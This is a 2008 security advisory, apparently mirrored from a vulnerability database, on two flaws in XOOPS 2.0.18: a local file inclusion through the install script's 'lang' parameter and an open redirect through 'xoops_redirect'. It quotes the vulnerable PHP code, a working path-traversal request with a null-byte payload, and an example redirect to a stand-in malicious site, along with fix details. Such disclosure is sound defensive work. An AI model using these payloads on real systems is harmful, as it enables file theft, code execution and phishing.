XOOPS 2.0.18 Local File Inclusion / URL Redirecting Vulnerabilities

🗓️ 05 Feb 2008 00:00:00Reported by RootType
XOOPS 2.0.18 Local File Inclusion / URL Redirecting Vulnerabilities. Attacker can inject PHP code and execute OS commands with webserver user privileges

                                                Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;Advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#DSECRG-08-009


Application:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XOOPS
Versions&nbsp;Affected:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XOOPS&nbsp;2.0.18
Vendor&nbsp;URL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.xoops.org/
Bugs:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Local&nbsp;File&nbsp;Include,URL&nbsp;Redirecting&nbsp;&nbsp;phishing
Exploits:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YES
Reported:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;28.01.2008
Vendor&nbsp;response:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;28.01.2008
Date&nbsp;of&nbsp;Public&nbsp;Advisory:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;04.02.2008
Authors:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alexandr&nbsp;Polyakov,&nbsp;Stas&nbsp;Svistunovich
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;(research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru)





Description
***********

XOOPS&nbsp;system&nbsp;has&nbsp;multiple&nbsp;security&nbsp;vulnerabilities:

1.&nbsp;Local&nbsp;File&nbsp;Include
2.&nbsp;Url&nbsp;redirection&nbsp;Phishing


Details
*******


1.&nbsp;Local&nbsp;File&nbsp;Include
Attacker&nbsp;can&nbsp;inject&nbsp;PHP&nbsp;code&nbsp;and&nbsp;execute&nbsp;OS&nbsp;commands&nbsp;with&nbsp;webserver&nbsp;user&nbsp;privileges

vulnerable&nbsp;script&nbsp;htdocs/install/index.php&nbsp;&nbsp;vulnerable&nbsp;POST&nbsp;parameter&nbsp;lang



vulnerable&nbsp;code:

************************************************



$language&nbsp;=&nbsp;'english';
if&nbsp;(&nbsp;!empty($_POST['lang'])&nbsp;)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$language&nbsp;=&nbsp;$_POST['lang'];
.
.
.
.



if&nbsp;(&nbsp;file_exists(&quot;./language/&quot;.$language.&quot;/install.php&quot;)&nbsp;)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;include_once&nbsp;&quot;./language/&quot;.$language.&quot;/install.php&quot;;


************************************************









Example:


POST&nbsp;/xoops-2.0.18/htdocs/install/index.php&nbsp;HTTP/1.0
Cookie:&nbsp;install_lang=english;&nbsp;lang=russian;&nbsp;PHPSESSID=p113cjpff5dkrkoka01al18kk5;&nbsp;dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length:&nbsp;67
Accept:&nbsp;*/*
Accept-Language:&nbsp;en-US
User-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Win32)
Host:&nbsp;localhost
Content-Type:&nbsp;application/x-www-form-urlencoded
Referer:&nbsp;http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&amp;op=start&amp;submit=Next










---------------------------------------------------------------------


2.&nbsp;URL&nbsp;Redirection&nbsp;phishing&nbsp;

Vulnerability&nbsp;found&nbsp;in&nbsp;script&nbsp;htdocs/user.php?xoops_redirect&nbsp;in&nbsp;post&nbsp;parameter&nbsp;name&nbsp;&quot;xoops_redirect&quot;&nbsp;


Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com&nbsp;



Fix&nbsp;Information
***************


Vendor&nbsp;&nbsp;fix&nbsp;this&nbsp;flaw&nbsp;in&nbsp;svn&nbsp;on&nbsp;28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&amp;revision=1282

Tracker:&nbsp;http://sourceforge.net/tracker/index.php?func=detail&amp;atid=430840&amp;aid=1881236&amp;group_id=41586





About
*****

Digital&nbsp;Security&nbsp;is&nbsp;leading&nbsp;IT&nbsp;security&nbsp;company&nbsp;in&nbsp;Russia,&nbsp;providing&nbsp;information&nbsp;security&nbsp;consulting,&nbsp;audit&nbsp;and&nbsp;penetration&nbsp;testing&nbsp;services,&nbsp;risk&nbsp;analysis&nbsp;and&nbsp;ISMS-related&nbsp;services&nbsp;and&nbsp;certification&nbsp;for&nbsp;ISO/IEC&nbsp;27001:2005&nbsp;and&nbsp;PCI&nbsp;DSS&nbsp;standards.&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;focuses&nbsp;on&nbsp;web&nbsp;application&nbsp;and&nbsp;database&nbsp;security&nbsp;problems&nbsp;with&nbsp;vulnerability&nbsp;reports,&nbsp;advisories&nbsp;and&nbsp;whitepapers&nbsp;posted&nbsp;regularly&nbsp;on&nbsp;our&nbsp;website.


Contact:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.dsec.ru&nbsp;(in&nbsp;Russian)
05 Feb 2008 00:00Current
7.1High risk
Vulners AI Score7.1